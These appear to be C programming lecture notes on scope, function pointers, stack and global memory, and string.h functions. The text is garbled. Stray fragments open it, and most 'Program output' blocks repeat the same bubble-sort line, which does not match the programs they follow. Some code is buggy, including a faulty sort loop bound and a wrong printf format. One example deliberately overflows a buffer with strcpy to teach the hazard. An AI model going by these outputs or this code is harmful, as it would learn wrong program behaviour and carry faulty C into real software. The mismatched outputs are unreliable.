char* pc = (char*) pi ;
void*void*
directly! compiler does not know the typeC
Scoping RulesMost things in C have names
(also known as identifiers). In fact, most things
in C have a name and a
type:

Typical things that have names:
Every identifier in c also has a scope, i.e., where that identifier is valid.
Let’s talk about: declaration vs definition.
| declaration | definition |
|---|---|
| associates name with type |
allocates resources |
Most creation of identifiers are both, declarations and definitions, e.g.,

But this not always the case (more on this later).
Now, look at these simple examples:
| statement | type |
|---|---|
int i ; |
definition |
double* pd ; |
definition |
char name[128] ; |
definition |
struct student* student_records[100] ; |
definition |
But what about function declarations?
// declaration or definition?
double foo( double temp ) ;
The above code is a declaration since it
associates a name with a type, i.e., the function
name foo is being associated with the
type of function, i.e.,
double ( double ) ; → a function that takes
a double as input and returns a
double. This type is also known as the
function signature.
But if this is a “type”, then what is a definition for a function? Remember that a definition allocates resources to a name. For functions, at the programmatic level, the “resource” is the code or function body, e.g.,
double foo( double temp )
{
// code here -- the "resources" for function foo()
// hence, this is a definition!
}
Now, let’s get back to discussing the name topic, scopes.
The name is only valid inside the block where it is defined, e.g.,
void foo( double a )
{
double temperature = a ;
...
}
The variable name, temperature is
only valid inside function
foo(). It cannot be accessed from anywhere
else, like main() or some other function,
e.g.,
void bar()
{
temperature = 200.0 ;
}
this will fail!
Note: Is it a compile-time, link-time or run-time failure?
In the following example,
for( unsigned int i = 0 ; i < 10 ; ++i )
{
double fahrenheit = (temperature * (9/5) + 32 ) ;
printf( "temperature = %f\t in fahrenheit = %f\n", temperature, fahrenheit ) ;
}
the variable fahrenheit is local to
the for block, i.e., it cannot be
accessed outside the for block – not even in
other parts of the same function! What happens when you run
the following code?
for( unsigned int i = 0 ; i < 10 ; ++i )
{
double fahrenheit = (temperature * (9/5) + 32 ) ;
printf( "temperature = %f\t in fahrenheit = %f\n", temperature, fahrenheit ) ;
}
fahrenheit = 98.5 ;
What about i in the above example?
Answer: it is local to the for block as well
so it won’t be available once the loop is done.
Note that a “block” can mean many things: * function *
loop for, while * conditional
if...else... * even a pair of braces!
{...}
You can have the same names in different scopes!
int a = 100 ;
if(1)
{
int a = a*100 ;
int b = a ;
printf( "a inside if = %d\n", a ) ;
}
printf( "a outside if = %f\n", a ) ;
What is the output for the above code?
As mentioned earlier, blocks can be just empty braces!
{
int a = 9038 ;
{
int a = 999999 ;
}
}
These are variables that are defined outside of any scope, i.e., outside of any function or block.
// GLOBAL
double celsius_to_fahrenheit = 9.0/5.0 ;
celsius_to_fahrenheit is visible
everywhere!
// GLOBAL
double celsius_to_fahrenheit = 9.0/5.0 ;
double foo( double a )
{
double temperature = a ;
for(unsigned int i = 0 ; i < 10 ; ++i )
{
double fahrenheit = ( temperature * celcius_to_fahrenheit ) + 32 ; // using the global
char name[124] ;
}
...
}
void bar()
{
// can CHANGE the global ANYWHERE!
celcius_to_fahrenheit = 5.0/9.0 ;
}
In fact, global variables can be accessed in
other files → by extern
keyword which just means that the variable is
defined elsewhere.
For instance, let’s say we create another file,
scope2.c with the following,
// DEFINITION
double real_global_variable = 2.0f ;
double pi = 3.141567 ;
and in our main file (say we call it
scope.c), we do:
// DECLARATIONS!
extern double real_global_variable ;
extern double pi ;
so, now we can access the variables,
real_global_variable and pi
inside scope.c, i.e.,
a different file from where they have been defined! Inside
scope.c, we can use those variables,
e.g.,
void bar( double radius )
{
double area = pi * radius * radius ; // using the externally declared variable "pi"
}
Let’s revisit the declaratins vs definitions topic. This is a definition:
extern double pi = 3.1415f ;
since, it has
pidoubledouble3.1415fThe following is a declaration:
extern double pi ;
pidoublescope2.cWhat about function arguments? Are they local or global?
What if we want…
This is called file or translation unit
scope and we use the static
keyword, as follows:
// GLOBAL but only for US
static double celsius_to_fahrenheit = 9.0/5.0 ;
Functions have types too. E.g.,
void foo(int i, double d){...}
The “type” of this function is: * takes as input two
arguments → one int and one double
* returns nothing, hence return type is void *
note: this is not the same
as a return type of void*
Sometimes, you need to decide which function to call at run time. Why?
[Follow along with the Generic Bubble Sort Code]
How do you write a bubble sort? Say for an array of
ints?
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
// Sorting ints
void bubble_sort_int( int array[], unsigned int array_size )
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
{
for( unsigned int j = 0 ; j < i ; ++j )
{
if( array[j] > array[j+1] )
{
int temp = array[j] ;
array[j] = array[j+1] ;
array[j+1] = temp ;
}
}
}
}
// printing out an array
void print_array( int array[], unsigned int array_size )
{
printf( "array = " ) ;
for( unsigned int i = 0 ; i < array_size ; ++i )
printf( "%d ", array[i] ) ;
}
int main()
{
int my_array[] = { 2341, 8632, 3, 2344, 747645 } ;
int array_size = 5 ;
// sort the array
bubble_sort_int( my_array, array_size ) ;
print_array( my_array, array_size ) ;
printf( "\n" ) ;
return 0 ;
}
Program output:
array = 3 2341 2344 8632 747645
This works for an array of ints. But what if
I want to sort an array of double?
Maybe, write a new function to do that?
// Sorting ints
void bubble_sort_double( double array[], int array_size )
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
{
for( unsigned int j = 0 ; j < i ; ++j )
{
if( array[j] > array[j+1] )
{
double temp = array[j] ;
array[j] = array[j+1] ;
array[j+1] = temp ;
}
}
}
}
But what if I want to sort an array of char?
Strings? floats? My custom
structs? Do we write one function for each?
void bubble_sort_char( char array[], int array_size ){...}
void bubble_sort_strings( char* array[], int array_size ){...}
void bubble_sort_float( float array[], int array_size ){...}
void bubble_sort_struct_student( struct student array[], int array_size ){...}
But what if we don’t know which one will be needed until run time?*
So, depending on the data that we’re given, or some input from the user, we may have to pick one of the above but won’t know of the choice at compile time.
Enter function pointers!
A sorting algorithm, at its heart, has two parts:
so, in a generic sense, we have:
if( is_greater(a, b) ) // If a is larger than b
swap(a, b) // swap their values
hence, we can rewrite the bubble sort function, in a “generic” form as:
// Sorting | Generic
void generic_bubble_sort(...)
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
for( unsigned int j = 0 ; j < i ; ++j )
if( is_greater( array[j], array[j+1]) )
swap( array[j], array[j+1] ) ;
}
But, what are the inputs to the function?
We first need to define the type of the array. Since we won’t know the type of the data elements in the array, we can’t pick a specific array type.
But, remember: * arrays and pointers are interchangeable
* can cast from any pointer type to void* and
back
using this, we define the array as a
void*:
void generic_bubble_sort( void* array, ... )
As before, we need to know the size of the entire array, so we can now expand the function signature more:
void generic_bubble_sort( void* array, int array_size, ...)
Remember that a void* pointer is just a pointer to a
block of memory. C does not know the type of
each element in the array. So, we
cannot do: * array[i] → since
the type is a void*
We can use pointer arithmetic with void* so
this is possible: * array+i → but that moves
the pointer forward by i
bytes
and not by the number of bytes of the
data type. Recall, * char* pc ; pc+1 ; →
advances by 1 byte *
int* pi ; pi+1 ; → advances by 4
bytes
Hence, we need information about the size of each element, i.e.,
void generic_bubble_sort( void* array, int array_size,
int element_size )
So, we can do: array + (i * element_size) to
move to the next element in the array
So, for an int array, we get
(element_size = 4):
and for a char array, we get
(element_size = 1):

Using this information about element_size,
we can rewrite the generic bubble sort function as:
// Sorting | Generic
void generic_bubble_sort( void* array, int array_size,
int element_size )
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
for( unsigned int j = 0 ; j < i ; ++j )
if( is_greater( array + (j * element_size), array + ((j+1) * element_size )) )
swap( array + (j * element_size), array + ((j+1) * element_size )) ) ;
}
Now we see the generic version of bubble sort taking shape.
But we are still missing critical information,
viz., what are is_greater() and
swap()?
Remember that since the
generic_bubble_sort() function doesn’t know
which exact type it is operating on, we need to
somehow provide it with the actual
functions that will carry out the comparison and swapping,
depending on the type of the array being passed in. For
instance, if we are comparing integers, we need a comparator
and swap that can operate on integers and similarly ones for
structs, doubles, etc.
Wouldn’t it be great, if we could just send in
the specific functions as arguments to
generic_bubble_sort(), say like,
void generic_bubble_sort( void* array, int array_size,
int element_size,
<SOME_TYPE> is_greater,
<SOME_TYPE> swap )
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
for( unsigned int j = 0 ; j < i ; ++j )
if( is_greater( array + (j * element_size), array + ((j+1) * element_size )) )
swap( array + (j * element_size), array + ((j+1) * element_size )) ) ;
}
This is precisely where function pointers come in.
We can define is_greater() and
swap() to be pointers to functions,
i.e., to a type of function (the
signatures). Hence, a comparator function pointer
would look like:
typedef int (*comparator_function_pointer)( void* l, void* r ) ;
Recall that the typedef keyword
associates a name with a type. In the above
example, we are saying that
comparator_function_pointer is now a name that
refers to the (function) type,
int (*)( void*, void* ), i.e., a
pointer to a function that takes two arguments, each
of type void* and returns and
int.
Note, that the job of a comparator function is to take
two values and, * return positive (non-zero) values if
l > r or * a zero if
l <= r.
We can define the swap function pointer in a
similar manner:
typedef void (*swap_function_pointer)( void* l, void* r ) ;
where, swap_function_pointer is a
name that refers to the (function) type,
void (*)( void*, void* ) since such a function
doens’t need to return anything, just swap the two elements
pointed to by the void* arguments.
Updating our sorting function to use the function pointers,
void generic_bubble_sort( void* array, int array_size,
int element_size,
comparator_function_pointer is_greater,
swap_function_pointer swap )
{
for( unsigned int i = 0 ; i < array_size-1 ; ++i )
for( unsigned int j = 0 ; j < i ; ++j )
if( is_greater( array + (j * element_size), array + ((j+1) * element_size )) )
swap( array + (j * element_size), array + ((j+1) * element_size )) ) ;
}
So, is_greater is now a function pointer of
type, comparator_function_pointer and
swap is a function pointer of type,
swap_function_pointer.
NOTE: function pointers are invoked
exactly like regular functions,
i.e., is_greater(...) and
swap(...). The above code will work without any
changes.
Eventually, we need to decide what it is that we are
sorting. Is it an array of ints,
doubless, structs, etc. And at
that point in time, we will need the actual, **concrete*
functions for comparing and swapping ints (or
doubles or whatever).
We we define the two functions (using int as
an example):
// Compare and Swap functions for integers
int is_greater_than_int( void* l, void* r )
{
// cast it from void* to relevant type, int*
// since we cannot dereference void*
int* left = l ;
int* right = r ;
// compare and return result
if( *left > *right )
return 1 ;
else
return 0 ;
// Can just use this one line instead but not doing so for clarity
// return ( *l > *r ? 1 : 0 ) ;
}
void swap_int( void* l, void* r )
{
// cast it from void* to relevant type, int*
// since we cannot dereference void*
int* left = l ;
int* right = r ;
int temp = *left ;
// swap
*left = *right ;
*right = temp ;
}
We can define equivalent functions for
double,
// Compare and Swap functions for doubles
int is_greater_than_double( void* l, void* r )
{
double* left = l ;
double* right = r ;
if( *left > *right )
return 1 ;
else
return 0 ;
}
void swap_double( void* l, void* r )
{
double* left = l ;
double* right = r ;
double temp = *left ;
*left = *right ;
*right = temp ;
}
NOTE: the type signatures of the concrete functions must exactly match that of the corresponding function pointers. Otherwise it will result in compile time errors.
Now we are ready to use the concrete functions and the pointers in our code:
int main()
{
int my_array_int[] = { 2341, 8632, 3, 2344, 747645 } ;
int array_size = 5 ;
// calling the INTEGER version with the concrete integer comparator and swap
generic_bubble_sort( my_array_int, array_size,
sizeof(int), /*element size*/
is_greater_than_int,
swap_int ) ;
// calling the DOUBLE version with the concrete DOUBLE comparator and swap
double my_double_array[] = {1.0, 9485.2, 34.567, 9383.243, 44.1 } ;
generic_bubble_sort( my_double_array, array_size,
sizeof(double), /*element size*/
is_greater_than_double,
swap_double ) ;
return 0 ;
}
As we see from the above, we are using the
same generic_bubble_srt
function to sort both, arrays of int and
double. The only difference is the different
concrete versions of the comparator and swap
functions that we pass to the sorting function.
concrete functions anyways?Using function pointers allows us to do a few things
well: 1. code reuse: the code for sorting
doesn’t need to be rewritten each time. In fact, when we
have larger, more complex, functions, this will be a
lifesaver as we can implement the main “concept” just once
and then write “specialized” concrete functions
(usually much smaller) as needed. 2. dynamic
dispatch: oftentimes, it may not be clear
which version of the concrete functions are needed,
until runtime! In our example, what if we
don’t know if we’re given arrays of ints or
doubles until we receive the data at runtime?
Then we cannot know which concrete function is to be invoked
while writing the code. Hence, we can pick the appropriate
function pointer at run time and the code will work
correctly! 3. specialization: different
data types require different handling. The way we sort
numbers will not be the same way we sort strings or
other, more complex, data types (e.g., user defined
structs).
structFill out the missing elements in this code:
#include <stdio.h>
#include <stdlib.h>
#define NAME_LENGTH 128
struct map{
char _country[NAME_LENGTH] ;
char _capital[NAME_LENGTH] ;
} ;
// DEFINE TWO FUNCTION POINTERS, ONE EACH FOR COMPARE AND SWAP
// UNCOMMENT THE TWO ARGUMENTS ONCE YOU DEFINE THE FUNCTION POINTERS
void generic_insertion_sort( void* array, int array_size, int element_size
/*is_greater_than my_comparator,
swap my_swap*/ )
{
}
// CREATE A NEW STRUCT AND RETURN A POINTER TO IT
struct map* create_new_struct(/*...*/)
{
}
// CREATE THE COMPARATOR AND SWAP FUNCTIONS HERE
// FUNCTION TO PRINT THE ARRAY OF STRUCTS AND ITS ELEMENTS
// PRINT EACH RECORD ON A NEW LINE AS FOLLOWS:
// country: USA capital: Washington D.C.
// country: Sierra Leone capital: Freetown
// ...
void print_array_structs(/*...*/)
{
}
int main()
{
unsigned int num_countries ;
printf( "number of countries: " ) ;
scanf( "%d", &num_countries ) ;
// CREATE AN ARRAY OF POINTERS TO STRUCTS
struct map** array_countries /*= ...*/ ;
// CREATE num_countries NUMBER OF "COUNTRIES" AND STORE IN THE ARRAY
// ASK USER FOR INPUT ON COUNTRY/CAPITALS
// YOU CAN PICK YOUR OWN COUNTRY/CAPITAL COMBINATIONS
// PRINT THE ARRAY BEFORE SORT
print_array_structs( /*...*/ ) ;
// SORT THE ARRAY -- FIRST BY COUNTRY NAME
generic_insertion_sort( array_countries, num_countries, sizeof(struct map*) /*,...*/) ;
// PRINT THE ARRAY AFTER FIRST SORT
print_array_structs( /*...*/ ) ;
// SORT THE ARRAY -- SECOND BY CAPITAL NAME
generic_insertion_sort( array_countries, num_countries, sizeof(struct map*) /*,...*/) ;
// PRINT THE ARRAY AFTER SECOND SORT
print_array_structs( /*...*/ ) ;
printf( "\n" ) ;
return 0 ;
}
C presents some unique opportunities for how to structure your code and data-structures, but also requires that you’re careful about how data is passed around a program.
In C, when creating a variable, you have the option of allocating it in one of multiple different types of memory:
malloc or its sibling
functions.It might be surprising, but it is quite uncommon in programming languages to have this flexibility.
What does it look like to do internal allocation of one struct or array inside of another? See the following as an example.
#include <stdlib.h>
struct bar {
/*
* `arr` is allocated internally to `bar`, whereas `bytes` is a pointer to
* a separate allocation. `arr` must have a *fixed size*, and `bytes` does not
* because its allocation can be as large as you want!
*/
int arr[64];
unsigned char *bytes;
};
struct foo {
/* The `bar` structure is allocated as *part of* the `struct foo` in `internal` */
struct bar internal;
/* But we can *also* allocate another `bar` separately if we'd prefer */
struct bar *external;
};
int
main(void)
{
/*
* We didn't have to separately allocate the `struct bar internal` as
* it was allocated with the enclosing `a` allocation. However, we do have to
* allocate the `external` allocation. In both cases, we have access to a
* `struct bar` from within `struct foo`.
*/
struct foo *a = malloc(sizeof(struct foo)); /* should check return value */
a->external = malloc(sizeof(struct bar)); /* and this one ;-( */
/*
* Note the difference in needing to use `->` when `external` is a pointer
* versus simply using `.` with `internal`.
*/
a->internal.arr[0] = a->external->arr[0];
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
One of the more interesting uses of internal allocation is in linked data-structures (e.g. like linked lists). It is common in languages like java to implement linked data-structures to have “nodes” that reference the data being tracked.
// This could be made generic across the data types it could store by instead
// using `class LinkedList<T>`, but I'm keeping it simple here.
class LinkedListOfStudents {
Node head;
class Node {
Student s;
Node next;
Node(Student s, Node next) {
this.s = s;
this.next = next;
}
}
void add(Student s) {
// The program has *previously* allocated `data`.
// Now we have to additionally allocate the `node` separate from the data!
Node n = new(s, this.head);
this.head = n;
}
// ...
}
// This looks like the following. Note separate allocations for Node and Student
//
// head --> Node------+ ,-->Node-----+
// | s next |---' | s next |---...
// +-|-------+ +-|------+
// v V
// Student-+ Student-+
// | ... | | ... |
// +-------+ +-------+
Lets see the same in C.
#include <stdlib.h>
#include <stdio.h>
struct linked_list_node {
void *data;
struct linked_list_node *next;
};
struct linked_list {
struct linked_list_node *head;
};
struct student {
// student data here...
struct linked_list_node list;
};
void
add(struct linked_list *ll, struct linked_list_node *n, void *data)
{
n->next = ll->head;
n->data = data;
ll->head = n;
}
struct linked_list l;
int
main(void)
{
struct student *s = malloc(sizeof(struct student));
/* Should check that `s != NULL`... */
add(&l, &s->list, s); /* note that `&s->list` is the same as `&(s->list)` */
printf("student added to list!\n");
return 0;
}
/*
* This looks something like the following. Linked list is *internal* to student.
*
* head ----> student-+ ,-> student-+
* | ... | , | ... |
* | next |---' | next |--> NULL
* +-------+ +-------+
*/
Program output:
array = 3 2341 2344 8632 747645
A few interesting things happened here:
void * pointers within the
linked_list_node so that the linked list can
hold data of any pointer type. You can see that in
our list implementation, there is nothing that is
student-specific.list is inline-allocated inside the
student structure, which completely avoids the
separate node allocation.Most serious data-structure implementations enable this
inlining of data-structure nodes even without requiring the
data pointer in the node. We won’t cover that,
but you can see
a sample implementation.
We’ve already seen malloc,
calloc, realloc, and
free which are our interface to the heap. These
provide the most flexibility, but require that you track the
memory and free it appropriately6
We have already seen global allocations frequently in examples so far.
#include <stdio.h>
/* A globally allocated array! No `malloc` needed! */
int arr[64];
struct foo {
int a, b;
struct foo *next;
};
/* A globally allocated structure! */
struct foo s;
/* Globally allocated *and* initialized integer... */
int c = 12;
/* ...and array. */
long d[] = {1, 2, 3, 4};
int
main(void)
{
printf("What is uninitialized global memory set to?\n"
"Integer: %d\nPointer: %p (as hex: %lx)\n",
arr[0], s.next, (unsigned long)s.next);
/* Note that we use `.` to access the fields because `s` is not a pointer! */
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
Global variables are either initialized where they are
defined, or are initialized to 0. Note that
they are intialized to all 0s regardless their
type. This makes more sense than it sounds because pointers
set to 0 are NULL (because,
recall, NULL is just (void *)0 –
see the “hex” output above), and because strings (see later)
are terminated by \0 which is also
0! Thus, this policy initializes all numerical
data to 0, all pointers to NULL,
and all strings to "".
Variables can also be allocated on the stack. This effectively means that as you’re executing in a function, variables can be allocated within the context/memory of that function. An example that allocates a structure and an array on the stack:
#include <stdio.h>
#include <assert.h>
#define ARR_SZ 12
/*
* Find an integer in the array, reset it to `0`, and return its offset.
* Nothing very interesting here.
*/
int
find_and_reset(int *arr, int val)
{
int i;
/* find the value */
for (i = 0; i < ARR_SZ; i++) {
if (arr[i] == val) {
arr[i] = 0;
return i;
}
}
/* Couldn't find it! */
return -1;
}
int
fib(int v)
{
/* Allocate an array onto the stack */
int fibs[ARR_SZ] = {0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89}; /* looks like a suspicious sequence... */
int ret;
ret = find_and_reset(fibs, v);
/* should have been set to `0`, so this should return `-1` */
assert(find_and_reset(fibs, v) == -1);
return ret;
}
int
main(void)
{
printf("Should find 8 @ 6: %d\n", fib(8));
/* if the array was the same array for these two calls, it would be found at offset -1 (error) */
printf("Should find 8 @ 6: %d (-1 is wrong here)\n", fib(8));
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
Key points to realize:
fibs in fib is allocated
on the stack and is initialized in
fib!find_and_reset which modifies the array
directly as it is passed as a pointer.fib is called, it
creates the arr. After we return from
fib, the fibs goes away (strictly:
its memory is reclaimed as part of returning from
fib).fib, it effectively
is a new execution of fib, thus a
new allocation of fibs that is now
initialized a second time.How do we think about this? The stack starts out in
main:
stack |
| |
+-main---------+
| | <--- main's local data (note: no local variables)
+--------------+
What we’re drawing here is a “stack frame” for
the main function. This includes all of the
local data allocated within the function, and (at least
conceptually) also includes the arguments passed into the
function (main has none). When it calls
fib, a stack frame is allocated for
fib, the argument is passed in, and
fibs variables are allocated:
stack |
| |
+-main---------+
| |
+-fib----------+
| arg: v | <--- argument to fib
| fibs[ARR_SZ] | <-+- local variables, allocated here!
| ret | <-'
+--------------+
fib calls find_and_reset:
stack |
| |
+-main---------+
| |
+-fib----------+
| v |
| fibs[ARR_SZ] |<--+
| ret | | pointer to fibs passed as argument, and used to update arr[v]
+find_and_reset+ |
| arg: arr |---+
| arg: val |
| i |
+--------------+
Since find_and_reset updates the array in
fib’s stack frame, when it returns, the array
is still properly updated. Importantly, once we return to
main, we have deallocated all of the variables
from the previous call to fib…
stack |
| |
+-main---------+
| | <--- returning to main, deallocates the fibs array in fib
+--------------+
…thus the next call to fib allocates a
new set of local variables including
fibs.
stack |
| |
+-main---------+
| |
+-fib----------+
| arg: v |
| fibs[ARR_SZ] | <--- new version of fibs, re-initialized when we fib is called
| ret |
+--------------+
A few common errors with stack allocation include:
return). Any pointers that remain to any of
those variables are no longer pointing to valid memory!We discuss these next.
Initializing stack-allocated variables.
For global memory, we saw that variables, if not
intentionally initialized, would be set to 0.
This is not the case with stack allocated
variables. In fact, the answer is “it depends”. If you
compile your code without optimizations, stack allocated
variables will be initialized to 0; if you
compile with optimizations, they are not
initialized. Yikes. Thus, we must assume that they are not
automatically initialized (similar to the memory returned
from malloc). An example:
#include <stdio.h>
void
foo(void)
{
/* don't manually initialize anything here */
int arr[12];
int i;
for (i = 0; i < 12; i++) {
printf("%d: %d\n", i, arr[i]);
}
}
int
main(void)
{
foo();
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
Yikes. We’re getting random values in the array! Where do you think these values came from?
References to stack variables after function return.
#include <stdio.h>
unsigned long *ptr;
unsigned long *
bar(void)
{
unsigned long a = 42;
return &a; /* Return the address of a local variable. */
}
void
foo(void)
{
unsigned long a = 42; /* Allocate `a` on the stack here... */
ptr = &a; /* ...and set the global pointer to point to it... */
return; /* ...but then we deallocate `a` when we return. */
}
int
main(void)
{
unsigned long val;
foo();
printf("Save address of local variable, and dereference it: %lu\n", *ptr);
fflush(stdout); /* ignore this ;-) magic sprinkles here */
ptr = bar();
printf("Return address of local variable, and dereference it: %lu\n", *ptr);
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
You can see a few interesting facts from the output.
*ptr after
foo is a random value, and dereferencing the
return value frombar causes a segmentation
fault.foo and bar contain logic that
feels pretty identical. In either case, they are taking a
local variable, and passing its address to main
where it is used. foo passed it through a
global variable, and bar simply returns the
address. Despite this, one of them causes a segmentation
fault, and the other seems to return a nonsensical value!
When you try and use stack allocated variables after they
are been freed (by their function returning), you get
unpredictable results.Stack allocation is powerful, can be quite useful. However, you have to always be careful that stack allocated variables are never added into global data-structures, and are never returned.
Lets look at an example that uses inlined, global, and stack allocation. We’ll avoid heap-based allocation to demonstrate the less normal memory allocation options in C.
#include <stdio.h>
#include <search.h>
#include <assert.h>
struct kv_entry {
unsigned long key;
char *value;
};
struct kv_store {
/* internal allocation of the key-value store's entries */
struct kv_entry entries[16];
size_t num_entries;
};
int
kv_comp(const void *a, const void *b)
{
const struct kv_entry *a_ent = a;
const struct kv_entry *b_ent = b;
/* Compare keys, and return `0` if they are the same */
return !(a_ent->key == b_ent->key);
}
int
put(struct kv_store *store, unsigned long key, char *value)
{
/* Allocate a structure on the stack! */
struct kv_entry ent = {
.key = key,
.value = value
};
struct kv_entry *new_ent;
/* Should check if the kv_store has open entries. */
/* Notice we have to pass the `&ent` as a pointer is expected */
new_ent = lsearch(&ent, store->entries, &store->num_entries, sizeof(struct kv_entry), kv_comp);
/* Should check if we found an old entry, and we need to update its value. */
if (new_ent == NULL) return -1;
return 0;
}
int
main(void)
{
/* Allocated the data-store on the stack, including the array! */
struct kv_store store = { .num_entries = 0 };
unsigned long key = 42;
char *value = "secret to everything";
put(&store, key, value);
/* Validate that the store got modified in the appropriate way */
assert(store.num_entries == 1);
assert(store.entries[0].key == key);
printf("%ld is the %s\n", store.entries[0].key, store.entries[0].value);
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
In this program you might notice that we’ve used no
dynamic memory allocation at all! The cost of this is
that we had to create a key-value store of only a fixed size
(16 items, here).
C enables a high-degree of control in which memory different variables should be placed. Java traditionally has simple rules for which memory is used for variables:
new in the heap, and references to objects are
always pointers.free.Many aspects of this are absolutely fantastic:
. to access a field
(e.g. obj.a) – all object references are
pointers, so instead of having ->
everywhere, just replace it with the uniform
..However, there are significant downsides when the goal is to write systems code:
String don’t have a dedicated type in C – there is no
String type. Strings are
chars,\0) character in
the last array position to denote the termination of the
string.In memory, a simple string has this representation:
char *str = "hi!"
str ---> +---+---+---+---+
| h | i | ! |\0 |
+---+---+---+---+
Note that \0 is a single character even
though it looks like two. We can see this:
#include <stdio.h>
#include <assert.h>
int
main(void)
{
int i;
char *str = "hi!";
char str2[4] = {'h', 'i', '!', '\0'}; /* We can allocate strings on the stack! */
for (i = 0; str[i] != '\0'; i++) { /* Loop till we find the null-terminator */
assert(str[i] == str2[i]); /* Verify the strings are the same. */
printf("%c", str[i]);
}
assert(str[3] == str2[3] && str[3] == '\0'); /* Explicitly check that the null-terminator is there */
printf("\n");
}
Program output:
array = 3 2341 2344 8632 747645
So strings aren’t really all that special in C. They’re
just arrays with a special terminating character, and a
little bit of syntax support to construct them
(i.e. "this syntax"). So what’s there to know
about strings in C?
string.h FunctionsWorking with strings is not C’s strong point.
However, you have to handle strings in every language, and C
provides a number of functions to do so. You can read about
each of these functions with
man 3 <function>.
strlen - How many characters is a string
(not including the null-terminator)?strcmp - Compare two strings, return
0 if they are the same, or -1 or
1, depending on which is lexographically
less than the other. Similar in purpose to
equals in Java.strcpy - Copy into a string the contents of
another string.strcat - Concatenate, or append onto the
end of a string, another string.strdup - Duplicate a string by
mallocing a new string, and copying the string
into it (you have to free the string
later!).snprintf - You’re familiar with
printf, but snprintf enables you
to “print” into a string! This gives you a lot of
flexibility in easily constructing strings. A downside is
that you don’t really know how big the resulting string is,
so the n in the name is the maximum length of
the string you’re creating.#include <string.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
int
main(void)
{
char result[256] = {'\0', }; /* initialize string to be "" */
char *a = "hello", *b = "world";
int c = 42;
int ret;
char *d;
assert(strcmp(a, b) != 0); /* these strings are different */
strcat(result, a);
strcat(result, " ");
strcat(result, b);
assert(strcmp(result, "hello world") == 0); /* should have constructed this string properly */
d = strdup(result);
assert(strcmp(d, result) == 0); /* a duplicate should be equal */
free(d);
strcpy(result, ""); /* reset the `result` to an empty string */
ret = snprintf(result, 255, "%s %s and also %d", a, b, c);
printf("\"%s\" has length %d\n", result, ret);
}
Program output:
array = 3 2341 2344 8632 747645
Many of these functions raise an important question: What
happens if one of the strings is not large enough to hold
the data being put into it? If you want to
strcat a long string into a small character
array, what happens? This leads us to a simple fact…
It is easy to use the string functions
incorrectly. Many of these functions also have a
strnX variant where X is the
operation (strnlen, strncmp,
etc..). These are safer variants of the string functions.
The key insight here is that if a string is derived from a
user, it might not actually be a proper string! It might
not, for example, have a null-terminator – uh oh! In that
case, many of the above functions will keep on iterating
past the end of the buffer
#include <string.h>
#include <stdio.h>
char usr_str[8];
int
main(void)
{
char my_str[4];
/*
* This use of `strcpy` isn't bugged as we know the explicit string is 7 zs,
* and 1 null-terminator, which can fit in `usr_str`.
*/
strcpy(usr_str, "zzzzzzz");
/*
* Also fine: lets limit the copy to 3 bytes, then add a null-terminator ourself
* (`strlcpy` would do this for us)
*/
strncpy(my_str, usr_str, 3);
my_str[3] = '\0';
printf("%s\n", my_str);
fflush(stdout); /* don't mind me, making sure that your print outs happen */
/*
* However, note that `strlen(usr_str)` is larger than the size of `my_str` (4),
* so we copy *past* the buffer size of `my_str`. This is called a "buffer overflow".
*/
strcpy(my_str, usr_str);
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
While many of the previous functions have to do with creating and modifying strings, computers frequently need to “parse”, or try to understand the different parts of, a string. Some examples:
.c or
.java files is just a long string, and the
programming language needs to parse the string to
understand what commands you’re trying to issue to the
computer.html
code (along with other assets), and a browser needs to
parse it to determine what to display.pandoc to generate a pdf and
html.Some of the core functions that help us parse strings include:
strtol - Pull an integer out of a string.
Converts the first part of a string into a
long int, and also returns an
endptr which points to the character
in the string where the conversion into a number
stopped. If it cannot find an integer, it will return
0, and endptr is set to point to
the start of the string.strtok - Iterate through a string, and find
the first instance of one of a number of specific
characters, and return the string leading up to that
character. This is called multiple times to iterate through
the string, each time extracting the substring up to the
specific characters. See the example in the man
page for strtok for an example.strstr - Try and find a string (the
“needle”) in another string (the “haystack”), and return a
pointer to it (or NULL if you don’t find it).
As such, it finds a string in another string (thus
strstr).sscanf - A versatile function will enables
a format string (e.g. as used in printf) to
specify the format of the string, and extract out digits and
substrings.Some examples:
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
int
main(void)
{
char *input = "1 42 the secret to everything";
char *inputdup;
char *substr;
char *substr_saved;
long int extracted;
char sec[32];
extracted = strtol(input, &substr, 10); /* pull out the first two integers */
printf("extracted %ld, remaining string: \"%s\"\n", extracted, substr);
extracted = strtol(substr, &substr, 10);
printf("extracted %ld, remaining string: \"%s\"\n", extracted, substr);
substr_saved = substr;
/* what happens when we cannot extract a long? */
extracted = strtol(substr_saved, &substr, 10);
assert(extracted == 0 && substr_saved == substr); /* verify that we couldn't extract an integer */
assert(strcmp(strstr(input, "secret"), "secret to everything") == 0); /* find secret substring */
sscanf(input, "1 %ld the %s to everything", &extracted, sec); /* extract out the number and the secret */
printf("%ld and \"%s\"\n", extracted, sec);
printf("Using strtok to parse through a string finding substrings separated by 'h' or 't':\n");
inputdup = strdup(input); /* strtok will modify the string, lets copy it */
for (substr = strtok(inputdup, "ht"); substr != NULL; substr = strtok(NULL, "ht")) {
printf("[%s]\n", substr);
}
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
When you use an explicit string
(e.g. "imma string") in your code, you’re
actually asking C to allocate the string in global memory.
This has some strange side-effects:
#include <stdio.h>
#include <string.h>
char c[5];
int
main(void)
{
char *a = "blah";
char *b = "blah";
strncpy(c, a, 5);
printf("%s%s%s\n", a, b, c);
/* compare the three pointers */
printf("%p == %p != %p\n", a, b, c);
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
The C compiler and linker are smart enough to see that if
you have already used a string with a specific value (in
